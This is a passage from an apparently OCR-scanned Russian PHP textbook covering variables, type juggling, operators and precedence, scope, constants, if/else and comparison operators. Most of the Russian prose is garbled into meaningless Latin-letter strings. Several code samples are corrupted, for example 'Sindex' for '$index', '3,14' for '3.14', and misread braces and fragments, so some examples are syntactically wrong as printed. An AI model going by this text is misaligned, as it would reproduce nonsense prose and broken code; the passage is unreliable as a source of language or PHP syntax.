byner true, MHaYe false. PaccMOTPUM MpHUMED, ITOKA3aHHLIA B TMCTHHTE 2.5.

Tty ROl s TR e RSB, i,

TucTuHr 2,5, Mpumep onpeAeneH CoRepx

<?php
if (IsSet($index))

print('lepeMenHan ycradoBneHna'); // TlepeMenHas ycTaHoBIeHA
else

print('llepeMensas He ycrTaHoBneHa'); // llepeMeHHas He ycTaHOBIeHa
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Sindex = 1;

if (IsSet(Sindex))

print ('MlepeMenHas yCoTaHOBIEHA') ; // llepemennas ycTaHOBNEHA
else
print('llepemedHas He ycrauoBjeHa'); // lNepeMeHHasa He yCTaHOBIIEHA

>

IMoce nepBoit MPoBepKH MBI YBUIMM, YTO MepeMeHHas $index He YCTAHOBIEHA.
3ateM B MepeMEHHYIO 3anuchiBaeTcs 3xaueHwe. Bropasi nmpoBepKa MOKAKET, YTo
nepeMeHHasi yXe ycTaHoB/eHa.

Tak Kak y mepeMeHHBLIX HET ONpeleAeHHOr0 THITA, Mbl MOXEM MPHCBANBATE UM
YTO YIOAHO, & CUCTEMA YXKE cama paBGEpETCﬂ, YTO 34IMTHCBIBATL:

$index = 1; // dneno
$fl = 3.14; // IpoGHoe uucno
$str = '3ro crpoxa';  // Crpoxa

Tun nepeMeHHOI onpenesieTes Mo KOHTEKCTY, B KOTOpoM oHa HaxoauTes. Ha-
npuMep:

S8ty =" "1O%;

$index = 2 * Sstr;

Ha nepssiii B30Is1, faHHasi onepalus HeBo3MoxHa. B nepsoit crpoke y Hac co3na-
erca nepemMeHHas $str, Kotopas Gyaer xpaHuTb cTpoky '10'. Bo BTOpoii cTpoke
YMCIO 2 YMHOXAETCSl HA CTPOKY M3 nepeMeHHoi $str. Ha riepsoiit B3rjsi, Helb3sl
YMHOXaTh YHCJIO HA CTPOKY, U 3TO BEPHO Uil BOMBIIMHCTBA SI3bIKOB MPOrpaMMH-
poBanus. Muteprnperatop PHP yBuauT, 4To B nepeMeHHON $str HAXOAWUTCS CTPO-
K4, KOTOPYIO JIErKo IMpeobpa3oBaTs B YMCIIO, M BBHINOJHUT npeobpasosanue. B pe-
3yJIbTAaTe B NEepeMeHHoM $index Oyner comepxarbes sHaueHue 20.

sstr = "10%;
$index = 2 * S$str;

print ("Pesynsrar = Sindex");

B naHHOM ciy4ae B TOCJeIHEH CTpouKe Koia Mbl revaraeM cTpoky. B Heii ectsb
CCHIIKA HA MEPeMEHHYIO, COLEPXKAILYI0 YHC/I0, HO B pesyibTare Mbl MOAYYHM Ha
akpaHe Tteker: "Pesymbrar = 20". Yucno asromMaruuecku rnpeobpasobbiBaeTcs
B CTPOKY M KOPPEKTHO BbIBOJAMTCS HAa DKpaH. »

Kak BuanTe, THIT HE 3aBUCHUT OT TOTO, YTO MBI 3AITMCATN B NIEPEMEHHYIO, U Onpese-
JIeTCA NO KOHTEKCTY. Ecnyi B 1aHHOM KOHTEKCTE COACPXKUMOE nepemeHHoi’l HE
MOXET BRITH [MpoYrTaHoO, TO GYHCT HCITONB30BATHCH HYJICBOC 3HAYCHHE. Hanpumcp:

$str = 'r10';

$index = 2 * Sstr;

print ("Result is $index");
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B nanHOM ciydae B NMEpPeMEHHOI $str HAXOMWTCH CTPOKA, KOTOpas HEe MOXET
ObITh TIEpeBefeHa B YMcHo, T. K. mewaer Oyksa r. [Ipy ymMHOXeHHH YMcaa 2 Ha
aTy nepemeHHy npeobpasoBaHue OGyneT HEBO3MOXHO, W 4HUCIO 2 OyIeT yMHO-
xeHo Ha . B peaynbrare MBI IONYYHM HYJIEBOE 3HAYCHHE.

A 4TO ec/lH HAIHCATh CIEYIOINHA KOl
print (3*"hello"+2+TRUE) ;

TMonpoGyiite npenckasath, Kakoi nomyuutcs pesynasrtar? Cpasy cooGpazuThb
CITOXHO, MO3TOMY JaBaiiTe paccyxaarh, Kak 3Ty onepauuio Oyner obpabaTbisarh
PHP. Chauana BeinosiHsieTcs: YMHOXeHE yucaa 3 Ha cTpoky. Eciu cTpoky Helnb-
34 npeobpa3oBaTh B YMCIO, TO BMECTO cTPOKM Oyner mcnonb3oBathes 0. Yucno 3,
ymHoxeHHoe Ha 0, naer B pesynsrare 0, 3atem k Hymo npubasnsercs 2. Peaynb-
tar Oyzer paseH 2. A Tenepb K 2 HYXHO NMpubaBuTh MCTUHY (OyneBo 3HayeHue
true). Yro Takoe ucTHHA U N0XKb? JIOXKb — 3TO HOMbB, @ HCTHHA — 3TO €IUHMUA
wu oboe Gonbiee yucio. Mutepnperatop PHP BocripuMer true Kak eguHMILY
U NpubaBuT K Yuciy 2 (KoTopoe Mbi rojayumnau panee) uucino 1. O6Guimii pesyib-
tar 3. [Monpobyiite nMpoBepuTh 3TO HA CBOEM KOMITBIOTEpE.

Takoe aproMaTHuyeckoe rnpeobpazoBaHne 1MO3BOIAET U36ABUTBCS OT JUILIHUX Mpo-
O1eM, HO YCIIOXHsIeT oTianky. Bbl ierko Moxere DOMycTHTh OWIMOKY ¢ npeobpa-
30BaHWEM, a HaiiTh ee Oyaer cnoxHo. Byabsre BHUMareNbHbl NpH pabore ¢ nepe-
MEHHBIMM, a OCODEHHO C TEeMH, KOTOpbie Bhl [OJIyyaere OT [ONb30BATENS.
O6 3TOM MBI €llle NOTOBOPUM.

2.4.4. OcHoBHble onepauun

IlepeMeHHEBIE CO3AAIOTCS LI TOTO, 4TOOBl Hal HUMH MPOW3BOAMThL Kakue-aubo
onepaunu. Ha gaHHBIH MOMEHT MO3HAKOMHMCS TOJBKO ¢ MPOCTBIMH MaTeMard-
YECKMMH OIepaLusIiMu:

O + (cnoxeHue)
O - (BeluMTaHHE)
O * (yMHOXeHHE)
0O / (uenenue)

Kak u npunsro B Maremaruke, ecTb ONnpelejeHHbIE TpaBuia nocieaoBaresbHo-
CTH BBIMONIHEHUS! onepaumii (npuopurer). CHayana BLINMONHSAIOTCH YMHOXEHUE U
" IeNeHKHe, a MOTOM YXe cloxeHWe u BbruuraHue. PaccMortpum knaccuueckitii
npuMep:

Sindex = 2 + 2 * 2;

D10 KIACCHYECKMI MpHMep, KOTOPhIll YacTo 3aiaioT wKonbHukaMm. He aamymbi-
Basichb, Bce OTBeTAT: 8. Ec/iM BBITIOMHATHE 3TOT KO/ ClieBa HANpaBo, TO pe3yabTa-
TOM, AeicTBUTENBHO, Byier 8. Ho 310 TOMBKO B roioBax MIKOJABHUKOB 3-ro Kiac-
ca, KOTOpble paHblle ToBopAT, 4yeMm nymator. Ecnu cuurtate nmo mnpasuiaM
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matematuku W PHP, to pesynwrar Gyzer 6, motomy uto cHavaia HyXHO Tepe-
MHOXHTb 1BOifKM (peayasrar 4), a norom nipubasute 2 (obmmit pesynsrar = 6).

IMpu HeoBxoaUMOCTH M3MEHUTDH IOC/IEI0BATEIbHOCTh BBITIONHEHUS] KOMaH HYX-
HO HCTOJIB30BaTh CKOOKH, KOTOpBIE MMEIOT GONbIUMl npuopurer. B sToM ciyuae
unrepnperarop PHP cHavana BeINONHUT Bee, YTO HAXOAUTCSH B CKOBKAX, 4 MOTOM
YK€ TO, YTO 34 MX NMpeienamu:

Sindex = (2 + 2) * 2;

Bor B 9TOM ciiyuae pesyabrar Oyier paseu 8.

B cxobkax meicTBYIOT Te e mpaBusa, 4To H BHe ckobok. PaceMoTpum npumep:
Sindex = (2 + 2 * 2) * 3;

Cuavana unrepnperarop PHP paccuuraer sHauenue B ckobKax, U pesyabTaToM
Oyner 6, MOTOMY YTO HaXe 3/ech CHayana BeIMONHsercss ymHoxenue. [Mocie
aToro umcyo 6 Gyaer yMHoxeHo Ha 3.

B aspike PHP ecth ewle cokpaleHHBIE BAPHAHTE! YBETHYSHHS WIH YMECHBLICHMS
3HAYEHUA TepeMeHHON Ha |, KOoTophie MOIYT CWJILHO YNPOCTHUTH KO U CHenaTh
ero 6onee aneraHTHbIM. [List mpubaBleHus] eIMHHIBI HY)KHO HAMUCATD: Suma++,
a 1St BBIYUTaHMS — $man--. Hanpumep:

$index = 2;

$sum = Sindex++;

B nepeMeHHOIT $sum okaxercs 4ucno 3 (uuciio 2 U3 nepeMeHHoil $index, yBe-
JMyeHHoe Ha 1).

51 crapaioch Besfie MCMOJNIB30BATh TAKOH BAPUAHT YBEJIMHUCHMs 3HAYEHHI mepe-
MEHHBIX, H Bbl CO BpeMeHeM MpHBBIKHETe K Hemy. Yaule Bcero nonoGHble onepa-
LMK BCTpEYaloTces B UMKIax (MX Mbl OyleM paccMaTpHBaTh fajee).

Jns ob6beAMHEHUs ABYX CTPOK B OAHY MCIOJb3YETCH CUMBOJ TOUKH BMECTO IIIO-
ca, KaK BO MHOTHX AI3bIKaX MporpaMMHpoOBaHus Beicokoro yposHs. Hanpumep:
$strl = "3ro Tecromas ";

$str2 = "crpoka";

$str3 Sstrl.str2;

"

3neck co3paloTes ABE NMEepeMeHHEe $strl M $str2, a B MEepeMeHHyI0 Sstr3 3anmu-
ChIBAaeTCs pe3yNbTar MX OOBeNMHEHUS, T. e. B Heil Mbl yBuauMm: "DTo Tecrosas
cTpoka”.

2.4.5. Obnactb BUAUMOCTH

Bee nepemenHble ¥ (GYHKUMHA UMEIOT 0bacTh BUAMMOCTH, T. €. CYIIECTBYIOT y4a-
CTKM KOIa, e uX 3HaYeHHue HOCTYNHO. 3a npeaenamy obiacTH BHIAWMOCTH I1e-
pPEMEHHBIE ABTOMATHYECKH YHHYTOXAIOTCS.



40 nasa 2

Bee nepemenHsie B f3bike PHP siBnsiores riobaibHBIMM, €C/IH OHU He 0OBsIBIC-
Hbl BHYTPM Kakoi-HUOyIb QyHKUMKM. DTO 3HAUMT, YTO €C/IM MepeMeHHYI0 o0bi-
BHTL B caMoM Hauaie cpaitina, To oHa OYIEeT cyulecTBOBaTh HA NPOTSKeHUM obpa-
60TKHM Beero (haitna U ee MOXHO UCMONB30BaTh B 1100oM Mecte. B naHHOM ciy4ae
06J1acTh BUIMMOCTH — TEKYILUMit (bailir, U nepeMeHHasi YHUUYTOXMTCS MPU BbIXOJE
M3 HETO.

Kak MBI paccmarpupanu paHee B pa3zdene 2.1, Korma M3ydajaHd MHOXECTBEHHOE
nepekmoueHune Mexay pexumamu HTML u PHP, nepemeHHbie MOryT 66T 06%h-
sieneHbl B onHoM PHP-kone, a ucnosis3oBarkest B ApyroMm, Kak NokKas3aHo B JIMG-
THHre 2.6.

e e SRy S R PP =
| McTnr 2.6. Pasbuenue PHP-k05a Ha Heckonkko 6noKk0s

=y ik, e

<HTML>

<HEAD>

<TITLE> Vision </TITLE>

< /HEAD>

<BODY>

<P> Hello

<P> <?php $i =1; print("This is PHP");?>
<P> i = <?php print(si) ?>

</BODY>

<HTML>

B manHOM mpuMepe TepeMeHHOI MpUCBAauBAETCsl 3HAYCHUE TIPH NEPBOM BXOXK/IE-
Huu B pexkum PHP, a ucnonbayercs nepeMeHHasi BO BTOPOM. DTo BIOJHE HOP-
manbHag cutyaums. IlepemenHas Oyaer neilcTBuTeNbHA M BO BPEMsI WCIIONB30Ba-
HUs OyzneT comepxarb 3HaveHue 1.

Ecnu y Bac ects nBa caiina index.php u download.php, a nepemeHHas $index
oonseneHa B daine index.php, To npu nepexone Bo Bropoit daitn naHHasg mnepe-
MEHHAas CTAaHeT HeBMOMMOH U ee 3HavyeHue Oyner HemocrynHo. Eciu nonbirarses
obpatuTeesl K nepeMeHHol $index U3 datina download.php, 10 ee 3Hauenue Gy-
IET IYCTBIM.

CoxpaHuTh 3Ha4YeHUE NepeMeHHOI Mpu Tepexoje ot daiiia K ¢aiiny MoXHO pas-
JIUYHBIMU criocobaMu, KoTopble 6yayT paccMaTrpuBaThes B JajibHeHIeM:

O ucnoib30BaTh METONbI GET W POST Ul Nepeiavyd MapamMerpoB MeXIy CTpaHu-
LAMU;

O wucnons3osath ceancsl PHP;

O coxpausaTh HaHHble B (aiiiax cookie, KOTOpHIX XpaHSITCS HA KOMIblOTepax
M0/Ib30BATENs;
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0 coxpaHsaTb 3HAYEHHs B cepBepHOil 6aze AAHHBIX WIH APYTOM XpaHWJIMIIE HA
cepBepe, HaNpUMEp, TEKCTOBOM daiise.

Kako#t crnioco6 BbiOparte? DTO 3aBHCHT OT CHTYALUMH W JMYHBIX NPEANOYTEHHIA.
Ho BeiBop Bbl cMOXeTe cienarb, KOria MO3HAKOMMTECH ¢ STUMM TEXHOJOTHSIMM.

DYHKUUKH MBI €llle He pacCMATPUBAIHM, HO HEKOTOPhIE 3aMEYaHus HEoDXOIMMO
caenath. Bee nepeMeHHbIe, KOTOpbie 0ObsIB/ICHBI B Tesie (DYHKIIMM, BHAHBI TOJBKO
BHYTPU Hee W SIBISIOTCA JIOKANbHBIMU. 3a npenenamu dhyHKINAM 3HAYEHUE Tepe-
MEHHOH YHMUTOXAeTcsl, €C/IM OHA He 00BsIBNeHA ceunalbHbIM obpasoM. BHyTpu
(pyHKLMH BBl MOXEeTe YBHIETH €€ JIOKaJIbHbIe TepeMeHHble (HO He JIOKAIBbHbIE
nepeMeHHbIe ApYyruX pyHKUNH) U r1obajibHbie TepeMeHHbIE.

2.4.6. KoHCTaHTDI

KoHcranTsl — 310 0cobbie MepeMeHHbIE, KOTOPbIE HEMb3sl H3MEHAThL MPOrpaMm-
HbIM oOpasoM. MM Heab3si NMPHCBOMTHL 3HAYEHHE BO BpeMs paboThl CLEHapusl.
3HayeHne YCTAHABIMBAETCSA TONBKO TPH OOBSBICHUM W IeiiCTBYET HA MPOTSKe-
HHM BCEro BPEMEHH MX XH3HMU.

KoHCTaHTBI XpaHAT 3HAYEHMs] KAKHX-JMO0 Y4CTO HCMOJIb3YEMBIX YUCET WK
crpok. Hanpumep, Bau caift MoXxeT ObITh 3ariporpaMMUPOBAH 1101 JN3AiH CcTpa-
Huuel wHpuHoit 640 nukcenos. Ecnu 8 PHP-kozne uenosnbiosars uneio 640, to
Mpy repexojie Ha HOBBI an3aiiH ¢ wupuHoit 800 nukcenoB npuueTcs U3IMEHSIThH
MHOIO CTPOYEK KOMa, ¥ HeT rapaHTHH, YTO BbI HHYEro HE YIYCTHTE WM He 3a-
Tpere cay4ailHo uucio 640, Koropoe ykaspiBaeT He WMPUHY, d YTO-TO JPYroe.
Ecnu B Havane ¢aitna oObsiBUTE KOHCTAHTY, Kotopasi Oyner pasha 640, a norom
UCIIOJIB30BATh €€, TO NOCTATOYHO BYyIeT U3MEHUTH TOJILKO 3HAYEHHE KOHCTAHTHI,
1 Kox Byzuer paboraTh KOPPEKTHO.

Sl peKoMeHIyI0 BCEraa MPUMEHSITh KOHCTAHTBI WIH XOTs Obl MepeMeHHbIe, eciu
KAaKoe-TO 4HMC/IO WM CTPOKAa HCnojikdyercss B Koge Gonblie ojHoro pasa. s
XpaHEHWsI TAKMX KOHCTAHT MM MEpeMEHHBIX MOXHO CO31aTh NdXEe OTAE/NbHBII
daitn, koropsrit Gymer noaxmouarsea Ko BceM PHP-daitnam sawero caiita. Ilo
CBOEMY OITBITY MOTY CKa3aTbh, YTO MCHOJb30BAHHE KOHCTAHT MOXET 3AMETHO YII-
POCTHUTB COTPOBOX/IEHHE Balleil NporpaMMbl M BHECEHHE H3MeHEeHWII.

Ecnu Bce TekcToBble cooOlieHUs OyIyT XpaHWThcsl B oTnensHoMm daiiie B BUIe
NnepeMeHHbIX, TO TAKUM 00pa3zoM Bbl CMOXETE COKOHOMMTL BPEMSI M YIIPOCTHTH
JIOKQIH3ALUMIO MporpaMmbl Ha apyrue siseikd. Hanpumep, omun daitn moxer
ObITh NMpegHasHayeH Uil PYCCKOS3bIYHOW MPOrpaMMel, a Jpyroi — sl aHrios-
spigHOi. M3aMeHeHne s3bIKa MOXHO NPOM3BOIMTE NnojaMeHoit ¢daijia win ¢ rno-
MOIILBIO TTOAKITIOYEHHS OHOTO W3 HUX, B 3aBHCHMOCTH OT BhiGOpA Mojib3oBaTens.

JU1st UMeHOBaHHS KOHCTAHT, B OTIMYME OT NMEpeMeHHBIX, He Halo BHavaie cra-
BUTh ciMBOJ $. YTobEl cpasy 6bUI0 BUAHO, UTO 3TO KOHCTAHTBI, UX MMEHA MUILYT
Gonsiumyu 6yksamu. B siseike PHP yxe ectp MHOXeCTBO KOHCTaHT, objieryaio-
[IHX MPOTPAMMUPOBAHHE, U C HUMHU MbI OylleM 3HAKOMHUTLCSI B TIpOlIecce YTeHMs
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KHHUTH ¥ TI0 Mepe HamobHocTH, a ceffyac paccMOTPHM, KaK MOXHO c03aTh cob-
CTBEHHYIO KoHcTaHTy. ILisi sToro ucrnonbsyercsd (GyHKUns define(), KOTOPO
HYXHO IMepenarb B Kd4ecTBe l'lepBDI‘O napame'rpa UMA KOHCTAHTBLI, @ B Ka4ecTpe
BTOporo — ee 3HayeHue. Hampumep, BaM HYXHO CO3laTh KOHCTaHTY, KOTOpas
Oynet pasHa 3HaveHuio Pi. [Ijis aT70r0 HanuuIuTe cleayoui Kom:

define('PI', 3.14);
Sindex = 10 * 3,14;
print ($index) ;

B naHHOM mpuMepe y Hac oObsBIEHA HOBas KOHCTAHTA PI, KOTOpas paBHA YHC-
Jy 3,14. Bo BTopoii cTpoyKe 3HAUYEHHE KOHCTAHTHI YMHoXaercs Ha 10 U 3aHoCHT-
csl B MepeMeHHYI0 $index. B mocnenHeit cTpouke 3HAaYeHHEe NepeMeHHOH BbIBO-
OWTCA Ha 3KpaH.

Kak mbl yxe 3HaeM, U3MEHAThL 3HAYEHUE KOHCTAHTBI HEJIb3sl, [O3TOMY CIIEAyi0-
las sanuch OyaeT HeBepHON U BbI3oBeT coobLueHue ob owmnbke:

define('PI', 3.14);
Pr = 10 * 3,%4;

2.5. YnpaBsneHue
BbIMOJIHEHNEM NpPorpamMmsl

Kon nporpammsl He MoXeT GbITH NPSMOJIMHEHHBIM, MOTOMY YTO BCEraa ecTh Ka-
KHe-TO YCJIOBMS, OT KOTOPLIX MOXET 3aBUCETh BhIMOAHEeHHe mnporpaMMmsl. OuyeHn
YacTo HaM HaIo MpOBEPATh TAKME YCIOBUS M PearupoBarh COOTBETCTBYIOLIMM
obpazom. JonmycTuM, YTo Bbl MULIETe clieHapuil rIaBHo crpanuus caiita. Korma
MOJ/Ib30BaTe/1b 3aXO/IUT Ha CAlliT NepBbId pa3s, Bbl MOXETE MOKAa3aTh MY NOMOIHM -
TebHYI0 MHGOPMALMIO MM KPACUBYIO MpeseHTALMIo, 4ToObl 3auMHTEpecoBaTh
ero. Ilpu nmocnenylouieM Bxoje 3Ty Mpe3eHTaLio MOXHO oTKno4YnTs. Ho Kak arto
Oyaer BeimisineTh B Koje cueHapus? Jloruka Gyner npuMepHO cienyloeii:

0 ecnu Monb30BATENb BOLIE B [EPBbIit pa3, To MoKasaTh NPE3eHTALMIO;
0 wunHaue cpa3y MOKa3aTh IJIABHYIO CTPAHUILY.

g toro uyrobbl cueHapuil 6bU1 HANEXKHBIM M 0E30IaCHBIM, HaM HeobXoaumo
BBITIONIHUTE MHOXecTBO npoBepok. Eciu Baur cueHapuit MO/DKEH OTNPAaBJIAThH
noyTtoBoe coobilleHne, To Herioxo Obiio Obl Mepea OTHPABKOW MPOBEPATH Mpa-
BWIBHOCTb 3arniosiHeHus anpeca e-mail. Jloruka nposepku Gyner cienylonieii:

O ecau aapec e-mail BepHBIH, TO OTHIPABHUTL MUCHMO;
O uHave BelIATh coobuieHue ob ourbke.

Kak BumuTe, JIOTHKA CBOAUTCS K MPOCTOMY TECTMPOBAHHIO: €CNIH YCJIOBHE BEPHO,
TO BBIMOJHHTH OAHO JIENHCTBHE, WHAYE BHIMOJHATH APYroe AeHCTBUE. DTY JIOTUKY
MBI YXK€ MCITOIB30BAIU OJIUH Pa3, a ceiiyac HaM MpeJACTOUT MO3HAKOMUTHCS ¢ Heil
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nobmuxe. Utak, Ha aseike PHP takoe TectupoBaHue 3anuchiBaeTcs CleayiOLMM
obpazom:
if (yecrnomue)
Jedicreme 1;
else

HescTene 2;

Ecnu ycnosue, ykazaHHoe B CKOOKAX, BEPHO, TO BBIMOJIHUTCS neficrexe 1, HHAYe
ﬁyneT BBIMOJHEHO neficTere 2, HAITPUMED!:

$index = 0;

if ($index > 0)

print ("Index > 0");

else

print("Index = 0");

B nmanHoM crnyuyae nMpoOMCXOAMT Takasi MPOBEepKa: ecliM nepeMeHHas $index 60Jb-
1€ Hy/Is, TO BBIBOAMTCS TiepBoe coobllieHne, HHAYe BLIBOAUTCS BTopoe cooblie-
HHe, KOTOPOe CTOMT MocJie KJI0YeBoro cjioBa else.

O06g3are/ibHO 3aNOMHHUTE, YTO OYIET BBINMOMHATLCA TOJMLKO OnHO aeiicrBue. Ecan
HY>KHO BbIMOJIHUTE [BA JEiCTBUSA, TO UX HYXKHO oObeMHUTE B GiloK. D10 nenaercs
¢ noMolplo urypHsix ckobok (). Hanpumep, creayowunit ko 6yaer HesepeH:
$index = 0;

if (Sindex > 0)

print("Index > 0");

Sindex = 0;

else

print("Index = 0");

Ecnu nepeMeHHas $index Gonblue HYJS, MBI [BITAGMCSl BhIBECTUH coobiieHue
¥ U3MEHHTb 3HAYEHHE MepeMEeHHOl HAa HONb. DTO yxKe [Ba NEeHCTBUSA, 4 MOXET
ObITH BBIMONHEHO TOJBKO ofHO. [TpaBuiabHO Oyser 3amucars Tak:
$index = 0;
if ($index > 0)

{

print ("Index > 0");

Sindex = 0;

}
else

print("Index = 0");
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[Tocne kiloyeBOro €loBa else TAKXKE BHINOIHAETCS TONLKO ONHH omepatop. Yro-
OBl BBIMOJHUTE /1BA AEHCTBHA, MX HYXHO 0OBEAMHHTH B BJOK ¢ nomMoulbio hu-
TYPHBIX CKODOK:
Sindex = 0;
if ($index > 0)

{

print ("Index > 0");

Sindex = 0;

%
else

{

print("Index = 0");

Sindex = 1;

}

Kiiouesoe ciioBo else mucars Heobs3aTenbHO U MOXHO obOHTHCE 6e3 Hero, ecin
HE HY)XHO BBIITONHATL HUKAKHUX HEUCTBUI NMpH JIOXKHOM pe3ysbTaTe cpaBHEHM.
Hanpumep:

Sindex = 0;

if (Sindex > 0)

print("Index > 0");

B manHom ciryuae Ha aKpaH OyzneT BbiBeleHO cOODILEHHE, TOJILKO €CH MepeMeH-
Hasl $index GoNbLIE HYIA.

Ofparure BHUMaHNE, KaK 5 nuiny xoia. B neppoii crpouke cTouT nposepka. Heii-
CTBHE, KOTOPOE BBIMOJIHSAETCS, eClIM YCIOBUE BEPHO, CTOMT B CHENYIOLUEH cTpouke
C OTCTYNOM B ofiMH mpobes. [ToToM uuneT Kio4eBoe CI0BO else, KOTOPOE CTABUT-
cs Ha oaHOM ypoBHe ¢ if. M jelicTBue, KoTopoe BBLIIMONHSETCS [IPU HEBEPHOM
pesyabTaTe cpaBHEHMS, TOXE PACIOjaraeTcsi Ha HOBOM CTpouKe ¢ orcTynoM. Ta-
KuM obpazoMm, cpasy BMAHO, YTO KIIOYEBOE CJIOBO else OTHOCHUTCA HMEHHO
K BeiecTosmemy if. Takoe hopMmaripoBaHne oyeHb yaoOHO, U Bbl YBUIUTE €10
NPEUMYLLECTBO B cly4yae HECKONbLKUX Ofepauuii cpaBHEHMs! TOAPAHL MM Jaxe
BJIOKEHHBIX Apyr B Apyra. [TocMoTpuTe Ha Caeayiounii mpumep:
$index = 0;
if ($index > 0)

{

if ($index > 10)

Sindex = 10;

else

0;

Sindex
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else
{
print("Index = 0");
Sindex = 1;

}

W3 storo Kola BHIHO, 4YTO OnepaTropbl if U COOTBET CTBYIOLIHE UM else HaxoasaT-
csl Ha OJIHOM YpPOBHE, a iefcTBHS cMelleHkl Bripapo. Takum obpasom, 1o cMmellie-
HUIO MOXHO OIpPeNeNnTh, Kakoit KoI K YeMy OTHOCHTCS.

OpHaxasl MHE NMPUIJIOCH PeAakTHPOBaTh KOl rporpaMmbl, Hanucannoii 8 Delphi.
Hexonnsiif Teker sanuman 6onee 3000 ctpouek, M Mpu 310M Bee BLUIO HAMKUCAHO
Ha OHOM YpPOBHE W npakTHuecku 6e3 npobenos. Pazbuparses B Takom Koie Obi-
JIO HEBEPOSITHO COXKHO, MOATOMY MPULIJIOCH BCe 3TH CTPoku (hopMaTHpoBaTh U
nejarh TaKMe cMmellleHHs, 4ToObl ObUIO BMAHO, Kakoil if K ueMy oTHocuTcs. [lo-
npoOyifTe caMM NPOYKTATD CASAYIOWMI KO

Sindex = 0;

if (Sindex > 0)

{

if ($index > 10)

$index = 10;

else

Sindex = 0;

}

else

{

print("Index = 0");

S$index = 1;

}

Tspkeno? A Bedb 370 ellle M JOCTATOMHO npocToi koa. A eciiu 661 Guuto wtyk 10
JIOTMYECKHX ONEpaluit U MpU 3TOM HEKOTOphle M3 HMX ObLAM Obl BAOXKEHHBIMMN?
D10 BaM He OyJI04KHM BOPOBATh.

B siabike PHP ecth MHOXecTBO omnepanuii cpaBHeHusl, U 4robel Bam Jsierye 6bu10
¢ HUMM pasobparbces, s cobpan ux sMecte (cM. tabm. 2.1).

Tabnuya 2.1. Onepavunn cpaBHeHuA

Noruueckan onepauns Pesynetat

Mapamertp 1 > Mapametp 2 BosepaluaeT ucTuHy (BbinonHUTCs nepeoe aeiicTeune),
ecnu nepsbiil napameTp 6onblue BTOporo

MNapametp 1 >= MNapametp 2 Boaspatiaet uctuny (BbinosiHUTCA nepeoe AeiicTeme),
ecnu nepasilt napametp 6onbliue WNK paseH BTOPoMY
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Ta6nuya 2.1 (okoHuaHue)

INornyeckan onepauus Peaynbrar

MapameTp 1 < Mapamerp 2 Boaspaluaet ucTuHy (BsinonHuTcs nepeoe pelicteue),
ecnu NepBbiii NapamMeTp MeHblle BTOporo

Mapamertp 1 <= MNapamerp 2 BoaspaluaeTt uctuHy (esinonHuTCs nepeoe aeiictaue),
ecnu nepeblii NnapameTp MeHbLLE UKW pageH BTOPOMY

Mapametp 1 == Napamerp 2 Boaepaluaet uctuHy (ssinonHuTcs nepsoe aeiictaue),
ecnu NepBblil NnapamMeTp paseH BTOpOMYy

Mapamertp 1 === lNapametp 2 BoaspatuaeT ucTuHy (BbiNonHUTCA Nepeoe aeiicTaue),
' ecny Nepsbiii napameTp pageH BTOPOMY W Npu 3TOM
oba UMeloT oANHAKOBLIA TUN AAHHBIX

Mapametp 1 I= MNapamerp 2 Boaspauwaet uctuHy (BbinonHuTcsA nepeoe aeiictaue),
ecnu NepBbI NapameTp He paseH BTOPOMY

A ec/ii HYXHO MPOBEPHUTH JIBa YCIOBUS oiHoBpeMeHHO? B aToM ciyvae ycnoBus
MOXHO OOBLEMHSATH C NMOMOLLBLIO JIOFMYECKHX ONEpPATOpPOB. Ot OnepaTropbl Bbi
MoxeTte yBuaerh B Tabn, 2.2.

Tabnuuya 2.2. Onepatopsl 06beAUHEHUA

INornyeckas onepauuns Peaynsrar

Ycnoeue 1 and Ycnosue 2 Boaspallaert uctuny, ecnu oba ycnosua BepHyT
(Yenoeue 1 && Ycnosue 2 ) UCTUHY

Ycnosue 1 or Ycnosue 2 Boaspallaet uctuHy, ecnu XoTa 66l ogHo ycnosue
(Ycnosue 1 || Yenosue 2) BEPHET UCTUHY

Ycnosue 1 xor Ycnosue 2 Boaepaluaer ncTuHy, €cnv ToNbKo ofHO YcrioBue

BEPHET UCTUHY

IYcnosue WameHneT peaynbTar rNpoBepKM YCNOBUA HA NPOTUBO-
NONOXHBIA, T. @, €CNV pe3ynbTaT NPoBepKU Aan
UCTUHY, To cumeon "' aMeHAET ero Ha Noxb
u HaobopoT

PaCCMOTpHM NMPUMEDP MCIOJb30BaHWA nBoitHOTO CpaBHEHMUS:
Sindexl = 0;

$index2 = 1;

if ($indexl > index2 and $index2 == 1)

print ("Indexl Goneme Index2 m Index2 pasen 1");

else

print ("Indexl papeH wm MeHbumle Index2 umv Index? He paBed 1");
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WUnu, nanpumep, NpoBepKa MepeMEeHHOI Ha BXOXIEHNHE €€ 3HAUYeHUs B AHANa3’oH
or 1 go 10:

Sindex = 0;
if ($index >= 1 and Sindex <= 10}
print ("Index Gonewe 1 ¥ mMexHsme 10");

Mur paccMaTpUBaAlIM TOJBKO CpABHEHME LEJILIX YHCEN, HO HHKTO HE MElaeT
CPaBHMBATh CTPOKM WM 1poOHble uncna. [MonpoGyiite caMi CPaBHUTL HECKOJIb-
KO MEpEeMEHHBIX PA3HBIMH METOHAMH H TIOCMOTPETH, KaKas H3 CTPOK BbIBOAMTCH
Ha aKpaH. ToJbKO TaK BBl CMOXETE YBUIETh PasHUIY B UCMONLIOBAHUM Paznuy-
HBIX OMEpaTopoB cpaBHeHUs. B nanbHeifiiem Mbl elie He pa3 GyaeMm UCHONb30-
BATh YC/IOBHBIE OMEparopel if..else, U €CIH YTO-TO CefYac HEMOHSATHO, TO CO
BpEMEHEM BCE BCTAHET HA CBOM MecTa,

EcTb eme omMH MHTepecHblit crocob nposepkn ycnosus. [JlonycTum, 4TO Halo
CPaBHUTH [IBE MEpPeMEHHbIE U B pe3ynbTar 3anucarh Haubonbuylo. B sTom ciyyae
Koj1 Gyzer BRIMISACTh cieayommum obpasom:

$result = $indexl > $index2 7 indexl : index2;
Kak paboraer ata 3anucs? [locMoTpuMm Ha ee obLMif BUA:

Ycnoeue ? me#creuel : meicTeMel;

Ecin ycnosue BEpHO, TO BLIMOAHHUTCS AeiicTBue |, MHAue BBIMOJIHUTCS HEHCT-
Bue 2, IMonyuaercs, 4TO eciy B HAIUEM IpHMepe MepeMeHHas $indexl Gosblue,
TO pe3ysibTatoM OyaeT 3ta mepeMeHHas, MHaue $index2. DTO JAOCTATOYHO XOPO-
wuit ¥ ynoGHsI BapuaHT, HO GONBUIMHCTBO HAYHHAIOLWIMX MPOrPaMMHUCTOB [LJIO-
X0 YMTAIOT TAKOM KOZ.

A ecin HY>XHO CPABHHUTL OMNHY TEPEMEHHYI0 C HECKOJIbKHMH 3HAMCHHAMH M
